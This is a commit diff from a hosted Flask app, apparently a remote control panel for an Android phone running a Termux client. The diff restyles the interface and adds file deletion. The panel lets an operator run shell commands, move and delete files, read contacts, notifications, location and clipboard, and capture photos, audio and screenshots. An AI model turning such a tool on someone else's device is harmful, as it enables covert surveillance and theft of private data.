Spaces:

Aleksmorshen
/

Contrem

Running

App Files Files Community

Aleksmorshen commited on Jun 1

Commit

0ecac03

verified ·

1 Parent(s): 31b5ef8

Update app.py

Browse files

Files changed (1) hide show

app.py +262 -219

app.py CHANGED Viewed

@@ -27,55 +27,84 @@ HTML_TEMPLATE = """
 <html lang="ru">
 <head>
     <meta charset="UTF-8">
-    <meta name="viewport" content="width=device-width, initial-scale=1.0">
-    <title>Панель управления Android</title>
     <style>
-        body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f2f5; color: #333; display: flex; min-height: 100vh; }
-        .sidebar { width: 250px; background-color: #333; color: white; padding: 20px; box-sizing: border-box; display: flex; flex-direction: column; }
-        .sidebar h2 { margin-top: 0; font-size: 1.2em; border-bottom: 1px solid #555; padding-bottom: 10px; }
         .sidebar ul { list-style: none; padding: 0; margin: 0; }
-        .sidebar ul li a { color: #ddd; text-decoration: none; display: block; padding: 10px; border-radius: 4px; margin-bottom: 5px; }
         .sidebar ul li a:hover, .sidebar ul li a.active { background-color: #555; color: white; }
-        .content { flex-grow: 1; padding: 20px; box-sizing: border-box; }
-        .container { background-color: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); margin-bottom:20px; }
-        h1 { color: #333; text-align: center; margin-bottom: 20px;}
-        .control-section { margin-bottom: 20px; padding: 15px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #f9f9f9; }
-        label { display: block; margin-bottom: 8px; font-weight: bold; color: #555; }
-        input[type="text"], textarea, input[type="file"], input[type="number"] { width: calc(100% - 24px); padding: 10px; margin-bottom: 10px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; }
-        button { padding: 10px 18px; background-color: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; font-size: 0.95em; margin-right: 5px; margin-bottom: 5px;}
         button:hover { background-color: #0056b3; }
-        pre { background-color: #282c34; color: #abb2bf; padding: 15px; border-radius: 4px; white-space: pre-wrap; word-wrap: break-word; max-height: 350px; overflow-y: auto; font-family: 'Courier New', Courier, monospace;}
-        .status { padding: 12px; border-radius: 4px; margin-bottom:15px; font-weight: bold; }
         .status.online { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
         .status.offline { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
         .file-browser ul { list-style: none; padding: 0; }
-        .file-browser li { padding: 8px 0; border-bottom: 1px solid #eee; display: flex; justify-content: space-between; align-items: center; }
         .file-browser li:last-child { border-bottom: none; }
         .file-browser a { text-decoration: none; color: #007bff; }
         .file-browser a:hover { text-decoration: underline; }
         .file-icon { margin-right: 8px; }
         .file-browser .dir a { font-weight: bold; }
-        .file-browser .download-btn { font-size: 0.8em; padding: 3px 8px; background-color: #28a745; }
         .file-browser .download-btn:hover { background-color: #218838; }
         .hidden-section { display: none; }
-        .status-item { margin-bottom: 10px; }
         .status-item strong { color: #333; }
-        .list-container { max-height: 400px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; background-color: #fdfdfd;}
-        .list-item { border-bottom: 1px solid #eee; padding: 8px 0; margin-bottom: 8px; }
-        .list-item:last-child { border-bottom: none; }
-        .list-item strong { display: block; color: #555; }
-        .list-item span { font-size: 0.9em; color: #777; }
-        .list-item p {margin: 5px 0;}
     </style>
     <script>
         let currentView = 'dashboard';
         function showSection(sectionId) {
             document.querySelectorAll('.content > div.container').forEach(div => div.style.display = 'none');
             document.getElementById(sectionId).style.display = 'block';
             document.querySelectorAll('.sidebar a').forEach(a => a.classList.remove('active'));
-            document.querySelector(`.sidebar a[href="#${sectionId}"]`).classList.add('active');
             currentView = sectionId;
             if (sectionId === 'files') refreshClientPathDisplay();
             if (sectionId === 'device_status') requestDeviceStatus();
             if (sectionId === 'notifications') requestNotifications();
@@ -142,7 +171,7 @@ HTML_TEMPLATE = """
                 if (data.notifications && currentView === 'notifications') {
                     renderNotifications(data.notifications);
                 }
-                 if (data.contacts && currentView === 'contacts') {
                     renderContacts(data.contacts);
                 }
@@ -192,7 +221,8 @@ HTML_TEMPLATE = """
                 const name = parts[2].trim();
                 const li = document.createElement('li');
-                const nameSpan = document.createElement('span');
                 const a = document.createElement('a');
                 a.href = '#';
@@ -200,21 +230,32 @@ HTML_TEMPLATE = """
                     li.className = 'dir';
                     a.innerHTML = `<span class="file-icon">📁</span> ${name}`;
                     a.onclick = (e) => { e.preventDefault(); navigateTo(name); };
-                    nameSpan.appendChild(a);
                 } else {
                     li.className = 'file';
                     a.innerHTML = `<span class="file-icon">📄</span> ${name}`;
                     a.onclick = (e) => { e.preventDefault(); };
-                    nameSpan.appendChild(a);
                     const downloadBtn = document.createElement('button');
                     downloadBtn.className = 'download-btn';
                     downloadBtn.textContent = 'Скачать';
                     downloadBtn.onclick = (e) => { e.preventDefault(); requestDownloadFile(name); };
-                    li.appendChild(nameSpan);
-                    li.appendChild(downloadBtn);
                 }
-                if (type === '[D]') li.appendChild(nameSpan);
                 fileListUl.appendChild(li);
             });
         }
@@ -225,7 +266,7 @@ HTML_TEMPLATE = """
             if (notifications && notifications.length > 0) {
                 notifications.forEach(n => {
                     const itemDiv = document.createElement('div');
-                    itemDiv.className = 'list-item';
                     itemDiv.innerHTML = `
                         <strong>${n.title || 'Без заголовка'} (ID: ${n.id || 'N/A'})</strong>
                         <span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
@@ -243,19 +284,21 @@ HTML_TEMPLATE = """
         function renderContacts(contacts) {
             const contactListDiv = document.getElementById('contactList');
             contactListDiv.innerHTML = '';
-             if (contacts && contacts.length > 0) {
                 contacts.forEach(c => {
                     const itemDiv = document.createElement('div');
-                    itemDiv.className = 'list-item';
-                    // Termux API returns "name: number"
-                    // We split it for better display
-                    const parts = c.split(':');
-                    const name = parts.length > 1 ? parts[0].trim() : "Без имени";
-                    const number = parts.length > 1 ? parts.slice(1).join(':').trim() : c.trim();
                     itemDiv.innerHTML = `
-                        <strong>${name}</strong>
-                        <span>${number}</span>
                     `;
                     contactListDiv.appendChild(itemDiv);
                 });
@@ -303,6 +346,12 @@ HTML_TEMPLATE = """
             sendGenericCommand({ command_type: 'request_download_file', filename: filename });
             document.getElementById('outputArea').innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`;
         }
         function refreshClientPathDisplay(){
             if (document.getElementById('currentPathDisplay')) {
@@ -316,6 +365,9 @@ HTML_TEMPLATE = """
             showSection('dashboard');
             setInterval(refreshOutput, 4000);
             refreshOutput();
         };
         function submitShellCommand(event) {
@@ -325,15 +377,11 @@ HTML_TEMPLATE = """
             document.getElementById('command_str').value = '';
         }
-        function submitMediaCommand(type, param1Name, param1ValueId, param2Name, param2ValueId) {
             let payload = { command_type: type };
-            if (param1Name && param1ValueId) {
-                const value = document.getElementById(param1ValueId).value;
-                if (value) payload[param1Name] = value;
-            }
-            if (param2Name && param2ValueId) { // For second parameter (e.g., video duration)
-                const value = document.getElementById(param2ValueId).value;
-                if (value) payload[param2Name] = value;
             }
             sendGenericCommand(payload);
         }
@@ -412,186 +460,182 @@ HTML_TEMPLATE = """
     </script>
 </head>
 <body>
-    <div class="sidebar">
-        <h2>Меню</h2>
-        <ul>
-            <li><a href="#dashboard" onclick="showSection('dashboard')" class="active">Панель</a></li>
-            <li><a href="#device_status" onclick="showSection('device_status')">Статус устройства</a></li>
-            <li><a href="#notifications" onclick="showSection('notifications')">Уведомления</a></li>
-            <li><a href="#contacts" onclick="showSection('contacts')">Контакты</a></li>
-            <li><a href="#files" onclick="showSection('files')">Файлы</a></li>
-            <li><a href="#shell" onclick="showSection('shell')">Терминал</a></li>
-            <li><a href="#media" onclick="showSection('media')">Медиа</a></li>
-            <li><a href="#clipboard" onclick="showSection('clipboard')">Буфер обмена</a></li>
-            <li><a href="#utils" onclick="showSection('utils')">Утилиты</a></li>
-            <li><a href="#uploads" onclick="showSection('uploads')">Загрузки с клиента</a></li>
-        </ul>
-        <div style="margin-top: auto; font-size: 0.8em; color: #aaa; text-align:center; padding-bottom:10px;">
-            Remote Control Panel
         </div>
-    </div>
-    <div class="content">
-        <h1>Панель управления Android</h1>
-        <div id="clientStatus" class="status offline">Статус клиента неизвестен</div>
-        <div id="dashboard" class="container">
-            <h2>Общая информация</h2>
-            <p>Добро пожаловать в панель управления. Выберите действие из меню слева.</p>
-            <div class="control-section">
-                <h3>Вывод последней операции:</h3>
-                <pre id="outputArea">Ожидание вывода...</pre>
             </div>
-        </div>
-        <div id="device_status" class="container hidden-section">
-            <h2>Статус устройства</h2>
-            <button onclick="requestDeviceStatus()">Обновить все</button>
-            <div class="control-section">
-                <h3>Батарея</h3>
-                <div id="batteryStatus" class="status-item"><strong>Заряд:</strong> Н/Д</div>
-                <button onclick="requestDeviceStatus('battery')">Обновить батарею</button>
-            </div>
-            <div class="control-section">
-                <h3>Геолокация</h3>
-                <div id="locationStatus" class="status-item"><strong>Локация:</strong> Н/Д</div>
-                <div id="locationMapLink" class="status-item"></div>
-                <button onclick="requestDeviceStatus('location')">Обновить геолокацию</button>
             </div>
-             <div class="control-section">
-                <h3>Запущенные процессы (пользователя Termux)</h3>
-                <div id="processesStatus" class="status-item"><strong>Процессы:</strong> Н/Д</div>
-                <button onclick="requestDeviceStatus('processes')">Обновить процессы</button>
             </div>
-        </div>
-        <div id="notifications" class="container hidden-section">
-            <h2>Уведомления устройства</h2>
-            <button onclick="requestNotifications()">Обновить уведомления</button>
-            <div class="control-section">
-                <h3>Список уведомлений:</h3>
-                <div id="notificationList" class="list-container">
-                    <p>Запросите список уведомлений.</p>
                 </div>
             </div>
-        </div>
-        <div id="contacts" class="container hidden-section">
-            <h2>Контакты</h2>
-            <button onclick="requestContacts()">Запросить список контактов</button>
-            <div class="control-section">
-                <h3>Список контактов:</h3>
-                <div id="contactList" class="list-container">
-                    <p>Запросите список контактов.</p>
                 </div>
             </div>
-        </div>
-        <div id="files" class="container hidden-section">
-            <h2>Файловый менеджер (Клиент)</h2>
-            <p>Текущий путь на клиенте: <strong id="currentPathDisplay">~</strong></p>
-            <button onclick="navigateTo('~')">Домашняя папка (~)</button>
-            <button onclick="navigateTo('/sdcard/')">Внутренняя память (/sdcard/)</button>
-            <button onclick="navigateTo(document.getElementById('customPathInput').value)">Перейти к пути:</button>
-            <input type="text" id="customPathInput" placeholder="/sdcard/Download" style="width:auto; display:inline-block; margin-left:5px;">
-            <div class="file-browser control-section">
-                <h3>Содержимое директории:</h3>
-                <ul id="fileList">
-                    <li>Запросите содержимое директории.</li>
-                </ul>
-            </div>
-             <div class="control-section">
-                <h3>Загрузить файл НА устройство</h3>
-                <form id="uploadForm" onsubmit="handleUploadToServer(event)">
-                    <label for="fileToUploadToDevice">Выберите файл:</label>
-                    <input type="file" id="fileToUploadToDevice" name="file_to_device" required>
-                    <label for="targetDevicePath">Путь для сохранения на устройстве (например, `/sdcard/Download/` или `~/`):</label>
-                    <input type="text" id="targetDevicePath" name="target_path_on_device" value="/sdcard/Download/" required>
-                    <button type="submit">Загрузить на устройство</button>
                 </form>
-                <p id="uploadToDeviceStatus"></p>
             </div>
-        </div>
-        <div id="shell" class="container hidden-section">
-            <h2>В��полнить команду на устройстве</h2>
-            <form onsubmit="submitShellCommand(event)">
-                <label for="command_str">Команда (например, `ls -l /sdcard/Download` или `pwd`):</label>
-                <input type="text" id="command_str" name="command_str" required>
-                <button type="submit">Отправить</button>
-            </form>
-             <div class="control-section" style="margin-top:20px;">
-                <h3>Вывод команды:</h3>
-                <pre id="outputAreaShellCopy"></pre>
-             </div>
-        </div>
-        <div id="media" class="container hidden-section">
-            <h2>Мультимедиа</h2>
-            <div class="control-section">
-                <button onclick="submitMediaCommand('take_photo', 'camera_id', 'camera_id_input_photo')">Сделать фото</button>
-                <label for="camera_id_input_photo" style="display:inline-block; margin-left:10px;">ID камеры:</label>
-                <input type="text" id="camera_id_input_photo" value="0" style="width:50px; display:inline-block;">
-            </div>
-            <div class="control-section">
-                <button onclick="submitMediaCommand('record_video', 'camera_id', 'camera_id_input_video', 'duration', 'video_duration_input')">Записать видео</button>
-                <label for="camera_id_input_video" style="display:inline-block; margin-left:10px;">ID камеры:</label>
-                <input type="text" id="camera_id_input_video" value="0" style="width:50px; display:inline-block; margin-right:10px;">
-                <label for="video_duration_input" style="display:inline-block;">Длительность (сек):</label>
-                <input type="number" id="video_duration_input" value="10" style="width:60px; display:inline-block;">
-            </div>
-            <div class="control-section">
-                <button onclick="submitMediaCommand('record_audio', 'duration', 'audio_duration_input_media')">Записать аудио</button>
-                <label for="audio_duration_input_media" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
-                <input type="text" id="audio_duration_input_media" value="5" style="width:50px; display:inline-block;">
-            </div>
-            <div class="control-section">
-                <button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
             </div>
-            <div class="control-section" style="margin-top:20px;">
-                <h3>Результат операции:</h3>
-                <pre id="outputAreaMediaCopy"></pre>
-             </div>
-        </div>
-        <div id="clipboard" class="container hidden-section">
-            <h2>Буфер обмена</h2>
-            <div class="control-section">
-                <button onclick="getClipboard()">Получить из буфера</button>
-            </div>
-            <div class="control-section">
-                <label for="clipboardSetText">Текст для вставки в буфер:</label>
-                <textarea id="clipboardSetText" rows="3"></textarea>
-                <button onclick="setClipboard()">Вставить в буфер</button>
             </div>
-             <div class="control-section" style="margin-top:20px;">
-                <h3>Результат операции с буфером:</h3>
-                <pre id="outputAreaClipboardCopy"></pre>
-             </div>
-        </div>
-        <div id="utils" class="container hidden-section">
-            <h2>Утилиты</h2>
-            <div class="control-section">
-                <label for="urlToOpen">Открыть URL на устройстве:</label>
-                <input type="text" id="urlToOpen" placeholder="https://example.com">
-                <button onclick="openUrlOnDevice()">Открыть URL</button>
             </div>
-             <div class="control-section" style="margin-top:20px;">
-                <h3>Результат операции:</h3>
-                <pre id="outputAreaUtilsCopy"></pre>
-             </div>
-        </div>
-        <div id="uploads" class="container hidden-section">
-            <h2>Файлы, загруженные С клиента на сервер</h2>
-            <div class="control-section">
-                <ul id="serverUploadedFiles">
-                    <li>Нет загруженных файлов.</li>
-                </ul>
             </div>
-        </div>
-    </div>
     <script>
         document.addEventListener('DOMContentLoaded', () => {
             const outputArea = document.getElementById('outputArea');
@@ -619,7 +663,7 @@ def index():
 @app.route('/send_command', methods=['POST'])
 def handle_send_command():
-    global pending_command, command_output, current_client_path, file_to_send_to_client
     data = request.json
     command_output = "Ожидание выполнения..."
@@ -635,14 +679,14 @@ def handle_send_command():
             pending_command = {'type': 'upload_to_server', 'filename': filename}
         else:
             command_output = "Ошибка: Имя файла для скачивания не указано."
     elif command_type == 'take_photo':
         pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
-    elif command_type == 'record_video':
-        pending_command = {
-            'type': 'record_video',
-            'camera_id': data.get('camera_id', '0'),
-            'duration': data.get('duration', '10') # Default 10 seconds for video
-        }
     elif command_type == 'record_audio':
         pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
     elif command_type == 'screenshot':
@@ -665,7 +709,6 @@ def handle_send_command():
                     'target_path': target_path_on_device,
                     'original_filename': server_filename
                 }
-                file_to_send_to_client = None
             else:
                 command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
         else:

 <html lang="ru">
 <head>
     <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+    <title>ПУ Android</title>
     <style>
+        body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f2f5; color: #333; display: flex; flex-direction: column; min-height: 100vh; font-size: 16px; -webkit-text-size-adjust: 100%; }
+        header { background-color: #333; color: white; padding: 10px 15px; display: flex; align-items: center; box-shadow: 0 2px 5px rgba(0,0,0,0.2); }
+        .menu-toggle { font-size: 1.5em; background: none; border: none; color: white; cursor: pointer; margin-right: 15px; padding: 5px; }
+        header h1 { font-size: 1.2em; margin: 0; flex-grow: 1; text-align: center; }
+        .main-container { display: flex; flex-grow: 1; overflow: hidden; }
+        .sidebar { width: 250px; background-color: #3f3f3f; color: white; padding: 15px; box-sizing: border-box; display: flex; flex-direction: column; transform: translateX(-100%); transition: transform 0.3s ease-in-out; position: fixed; top: 0; left: 0; height: 100vh; z-index: 1000; overflow-y: auto; }
+        .sidebar.open { transform: translateX(0); box-shadow: 3px 0 6px rgba(0,0,0,0.2); }
+        .sidebar h2 { margin-top: 40px; font-size: 1.1em; border-bottom: 1px solid #555; padding-bottom: 10px; }
         .sidebar ul { list-style: none; padding: 0; margin: 0; }
+        .sidebar ul li a { color: #ddd; text-decoration: none; display: block; padding: 12px 10px; border-radius: 4px; margin-bottom: 5px; font-size:0.95em; }
         .sidebar ul li a:hover, .sidebar ul li a.active { background-color: #555; color: white; }
+        .content-overlay { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); z-index: 999; }
+        .content-overlay.active { display: block; }
+        .content { flex-grow: 1; padding: 15px; box-sizing: border-box; overflow-y: auto; margin-top: 50px; /* Height of header */ }
+        .container { background-color: #fff; padding: 15px; border-radius: 8px; box-shadow: 0 1px 3px rgba(0,0,0,0.1); margin-bottom:15px; }
+        .control-section { margin-bottom: 15px; padding: 10px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #f9f9f9; }
+        label { display: block; margin-bottom: 6px; font-weight: bold; color: #555; font-size: 0.9em; }
+        input[type="text"], textarea, input[type="file"] { width: calc(100% - 22px); padding: 10px; margin-bottom: 10px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; font-size: 1em; }
+        button { padding: 10px 15px; background-color: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; font-size: 0.9em; margin-right: 5px; margin-bottom: 8px; display: inline-block; }
         button:hover { background-color: #0056b3; }
+        pre { background-color: #282c34; color: #abb2bf; padding: 10px; border-radius: 4px; white-space: pre-wrap; word-wrap: break-word; max-height: 300px; overflow-y: auto; font-family: 'Courier New', Courier, monospace; font-size: 0.85em; }
+        .status { padding: 10px; border-radius: 4px; margin-bottom:10px; font-weight: bold; font-size: 0.9em; }
         .status.online { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
         .status.offline { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
         .file-browser ul { list-style: none; padding: 0; }
+        .file-browser li { padding: 8px 0; border-bottom: 1px solid #eee; display: flex; flex-wrap: wrap; justify-content: space-between; align-items: center; }
+        .file-browser li .file-name-container { flex-grow: 1; margin-right: 10px; word-break: break-all; }
+        .file-browser li .file-actions button { margin-left: 5px; padding: 4px 8px; font-size:0.8em; }
         .file-browser li:last-child { border-bottom: none; }
         .file-browser a { text-decoration: none; color: #007bff; }
         .file-browser a:hover { text-decoration: underline; }
         .file-icon { margin-right: 8px; }
         .file-browser .dir a { font-weight: bold; }
+        .file-browser .download-btn { background-color: #28a745; }
         .file-browser .download-btn:hover { background-color: #218838; }
+        .file-browser .delete-btn { background-color: #dc3545; }
+        .file-browser .delete-btn:hover { background-color: #c82333; }
         .hidden-section { display: none; }
+        .status-item { margin-bottom: 8px; font-size: 0.9em;}
         .status-item strong { color: #333; }
+        .notification-list, .contact-list { max-height: 350px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; background-color: #fdfdfd;}
+        .notification-item, .contact-item { border-bottom: 1px solid #eee; padding: 8px 0; margin-bottom: 8px; }
+        .notification-item:last-child, .contact-item:last-child { border-bottom: none; }
+        .notification-item strong, .contact-item strong { display: block; color: #555; }
+        .notification-item span, .contact-item span { font-size: 0.9em; color: #777; display: block; }
+        .contact-item .contact-number { font-weight: normal; }
+        @media (min-width: 768px) { /* Desktop styles */
+            body { flex-direction: row; }
+            header { display: none; } /* Hide mobile header on desktop */
+            .sidebar { transform: translateX(0); position: static; height: 100vh; box-shadow: none; }
+            .content { margin-top: 0; }
+            .content-overlay { display: none !important; } /* Never show overlay on desktop */
+        }
     </style>
     <script>
         let currentView = 'dashboard';
+        function toggleMenu() {
+            document.querySelector('.sidebar').classList.toggle('open');
+            document.querySelector('.content-overlay').classList.toggle('active');
+        }
         function showSection(sectionId) {
             document.querySelectorAll('.content > div.container').forEach(div => div.style.display = 'none');
             document.getElementById(sectionId).style.display = 'block';
             document.querySelectorAll('.sidebar a').forEach(a => a.classList.remove('active'));
+            const activeLink = document.querySelector(`.sidebar a[href="#${sectionId}"]`);
+            if (activeLink) activeLink.classList.add('active');
             currentView = sectionId;
+            if (document.querySelector('.sidebar').classList.contains('open')) { // Close menu on mobile after selection
+                toggleMenu();
+            }
             if (sectionId === 'files') refreshClientPathDisplay();
             if (sectionId === 'device_status') requestDeviceStatus();
             if (sectionId === 'notifications') requestNotifications();
                 if (data.notifications && currentView === 'notifications') {
                     renderNotifications(data.notifications);
                 }
+                if (data.contacts && currentView === 'contacts') {
                     renderContacts(data.contacts);
                 }
                 const name = parts[2].trim();
                 const li = document.createElement('li');
+                const nameContainer = document.createElement('div');
+                nameContainer.className = 'file-name-container';
                 const a = document.createElement('a');
                 a.href = '#';
                     li.className = 'dir';
                     a.innerHTML = `<span class="file-icon">📁</span> ${name}`;
                     a.onclick = (e) => { e.preventDefault(); navigateTo(name); };
+                    nameContainer.appendChild(a);
+                    li.appendChild(nameContainer);
                 } else {
                     li.className = 'file';
                     a.innerHTML = `<span class="file-icon">📄</span> ${name}`;
                     a.onclick = (e) => { e.preventDefault(); };
+                    nameContainer.appendChild(a);
+                    li.appendChild(nameContainer);
+                    const actionsContainer = document.createElement('div');
+                    actionsContainer.className = 'file-actions';
                     const downloadBtn = document.createElement('button');
                     downloadBtn.className = 'download-btn';
                     downloadBtn.textContent = 'Скачать';
                     downloadBtn.onclick = (e) => { e.preventDefault(); requestDownloadFile(name); };
+                    actionsContainer.appendChild(downloadBtn);
+                    const deleteBtn = document.createElement('button');
+                    deleteBtn.className = 'delete-btn';
+                    deleteBtn.textContent = 'Удалить';
+                    deleteBtn.onclick = (e) => { e.preventDefault(); requestDeleteFile(name); };
+                    actionsContainer.appendChild(deleteBtn);
+                    li.appendChild(actionsContainer);
                 }
                 fileListUl.appendChild(li);
             });
         }
             if (notifications && notifications.length > 0) {
                 notifications.forEach(n => {
                     const itemDiv = document.createElement('div');
+                    itemDiv.className = 'notification-item';
                     itemDiv.innerHTML = `
                         <strong>${n.title || 'Без заголовка'} (ID: ${n.id || 'N/A'})</strong>
                         <span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
         function renderContacts(contacts) {
             const contactListDiv = document.getElementById('contactList');
             contactListDiv.innerHTML = '';
+            if (contacts && contacts.length > 0) {
                 contacts.forEach(c => {
                     const itemDiv = document.createElement('div');
+                    itemDiv.className = 'contact-item';
+                    let numbersHtml = '';
+                    if (c.numbers && c.numbers.length > 0) {
+                        c.numbers.forEach(num => {
+                            numbersHtml += `<span class="contact-number">${num}</span>`;
+                        });
+                    } else {
+                        numbersHtml = '<span>Нет номеров</span>';
+                    }
                     itemDiv.innerHTML = `
+                        <strong>${c.name || 'Без имени'}</strong>
+                        ${numbersHtml}
                     `;
                     contactListDiv.appendChild(itemDiv);
                 });
             sendGenericCommand({ command_type: 'request_download_file', filename: filename });
             document.getElementById('outputArea').innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`;
         }
+        function requestDeleteFile(filename) {
+            if (confirm(`Вы уверены, что хотите удалить файл "${filename}"? Это действие ��еобратимо.`)) {
+                sendGenericCommand({ command_type: 'delete_file', filename: filename });
+            }
+        }
         function refreshClientPathDisplay(){
             if (document.getElementById('currentPathDisplay')) {
             showSection('dashboard');
             setInterval(refreshOutput, 4000);
             refreshOutput();
+            // Add event listener for the menu toggle on mobile
+            document.querySelector('.menu-toggle').addEventListener('click', toggleMenu);
+            document.querySelector('.content-overlay').addEventListener('click', toggleMenu);
         };
         function submitShellCommand(event) {
             document.getElementById('command_str').value = '';
         }
+        function submitMediaCommand(type, paramName, paramValueId) {
             let payload = { command_type: type };
+            if (paramName && paramValueId) {
+                const value = document.getElementById(paramValueId).value;
+                if (value) payload[paramName] = value;
             }
             sendGenericCommand(payload);
         }
     </script>
 </head>
 <body>
+    <header>
+        <button class="menu-toggle" aria-label="Toggle menu">☰</button>
+        <h1>ПУ Android</h1>
+    </header>
+    <div class="main-container">
+        <div class="sidebar">
+            <h2>Меню</h2>
+            <ul>
+                <li><a href="#dashboard" onclick="showSection('dashboard')" class="active">Панель</a></li>
+                <li><a href="#device_status" onclick="showSection('device_status')">Статус устройства</a></li>
+                <li><a href="#notifications" onclick="showSection('notifications')">Уведомления</a></li>
+                <li><a href="#contacts" onclick="showSection('contacts')">Контакты</a></li>
+                <li><a href="#files" onclick="showSection('files')">Файлы</a></li>
+                <li><a href="#shell" onclick="showSection('shell')">Терминал</a></li>
+                <li><a href="#media" onclick="showSection('media')">Медиа</a></li>
+                <li><a href="#clipboard" onclick="showSection('clipboard')">Буфер обмена</a></li>
+                <li><a href="#utils" onclick="showSection('utils')">Утилиты</a></li>
+                <li><a href="#uploads" onclick="showSection('uploads')">Загрузки с клиента</a></li>
+            </ul>
         </div>
+        <div class="content-overlay"></div>
+        <div class="content">
+            <!-- Client Status (visible on all pages potentially) -->
+            <div id="clientStatus" class="status offline">Статус клиента неизвестен</div>
+            <div id="dashboard" class="container">
+                <h2>Общая информация</h2>
+                <p>Добро пожаловать в панель управления. Выберите действие из меню слева.</p>
+                <div class="control-section">
+                    <h3>Вывод последней операции:</h3>
+                    <pre id="outputArea">Ожидание вывода...</pre>
+                </div>
             </div>
+            <div id="device_status" class="container hidden-section">
+                <h2>Статус устройства</h2>
+                <button onclick="requestDeviceStatus()">Обновить все</button>
+                <div class="control-section">
+                    <h3>Батарея</h3>
+                    <div id="batteryStatus" class="status-item"><strong>Заряд:</strong> Н/Д</div>
+                    <button onclick="requestDeviceStatus('battery')">Обновить батарею</button>
+                </div>
+                <div class="control-section">
+                    <h3>Геолокация</h3>
+                    <div id="locationStatus" class="status-item"><strong>Локация:</strong> Н/Д</div>
+                    <div id="locationMapLink" class="status-item"></div>
+                    <button onclick="requestDeviceStatus('location')">Обновить геолокацию</button>
+                </div>
+                 <div class="control-section">
+                    <h3>Запущенные процессы (пользователя Termux)</h3>
+                    <div id="processesStatus" class="status-item"><strong>Процессы:</strong> Н/Д</div>
+                    <button onclick="requestDeviceStatus('processes')">Обновить процессы</button>
+                </div>
             </div>
+            <div id="notifications" class="container hidden-section">
+                <h2>Уведомления устройства</h2>
+                <button onclick="requestNotifications()">Обновить уведомления</button>
+                <div class="control-section">
+                    <h3>Список уведомлений:</h3>
+                    <div id="notificationList" class="notification-list">
+                        <p>Запросите список уведомлений.</p>
+                    </div>
+                </div>
             </div>
+            <div id="contacts" class="container hidden-section">
+                <h2>Контакты</h2>
+                <button onclick="requestContacts()">Запросить список контактов</button>
+                <div class="control-section">
+                    <h3>Список контактов:</h3>
+                    <div id="contactList" class="contact-list">
+                        <p>Запросите список контактов.</p>
+                    </div>
                 </div>
             </div>
+            <div id="files" class="container hidden-section">
+                <h2>Файловый менеджер (Клиент)</h2>
+                <p>Текущий путь на клиенте: <strong id="currentPathDisplay">~</strong></p>
+                <button onclick="navigateTo('~')">Дом (~)</button>
+                <button onclick="navigateTo('/sdcard/')">Память</button>
+                <input type="text" id="customPathInput" placeholder="/sdcard/Download" style="width:auto; display:inline-block; margin-left:0px; margin-right:5px; max-width: 150px;">
+                <button onclick="navigateTo(document.getElementById('customPathInput').value)">Перейти</button>
+                <div class="file-browser control-section">
+                    <h3>Содержимое директории:</h3>
+                    <ul id="fileList">
+                        <li>Запросите содержимое директории.</li>
+                    </ul>
+                </div>
+                 <div class="control-section">
+                    <h3>Загрузить файл НА устройство</h3>
+                    <form id="uploadForm" onsubmit="handleUploadToServer(event)">
+                        <label for="fileToUploadToDevice">Выберите файл:</label>
+                        <input type="file" id="fileToUploadToDevice" name="file_to_device" required>
+                        <label for="targetDevicePath">Путь для сохранения на устройстве (например, `/sdcard/Download/` или `~/`):</label>
+                        <input type="text" id="targetDevicePath" name="target_path_on_device" value="/sdcard/Download/" required>
+                        <button type="submit">Загрузить</button>
+                    </form>
+                    <p id="uploadToDeviceStatus"></p>
                 </div>
             </div>
+            <div id="shell" class="container hidden-section">
+                <h2>Выполнить команду на устройстве</h2>
+                <form onsubmit="submitShellCommand(event)">
+                    <label for="command_str">Команда (например, `ls -l /sdcard/Download` или `pwd`):</label>
+                    <input type="text" id="command_str" name="command_str" required>
+                    <button type="submit">Отправить</button>
                 </form>
+                 <div class="control-section" style="margin-top:20px;">
+                    <h3>Вывод команды:</h3>
+                    <pre id="outputAreaShellCopy"></pre>
+                 </div>
             </div>
+            <div id="media" class="container hidden-section">
+                <h2>Мультимедиа</h2>
+                <div class="control-section">
+                    <button onclick="submitMediaCommand('take_photo', 'camera_id', 'camera_id_input')">Сделать фото</button>
+                    <label for="camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
+                    <input type="text" id="camera_id_input" value="0" style="width:50px; display:inline-block;">
+                </div>
+                <div class="control-section">
+                    <button onclick="submitMediaCommand('record_audio', 'duration', 'audio_duration_input')">Записать аудио</button>
+                    <label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
+                    <input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
+                </div>
+                <div class="control-section">
+                    <button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
+                </div>
+                <div class="control-section" style="margin-top:20px;">
+                    <h3>Результат операции:</h3>
+                    <pre id="outputAreaMediaCopy"></pre>
+                 </div>
             </div>
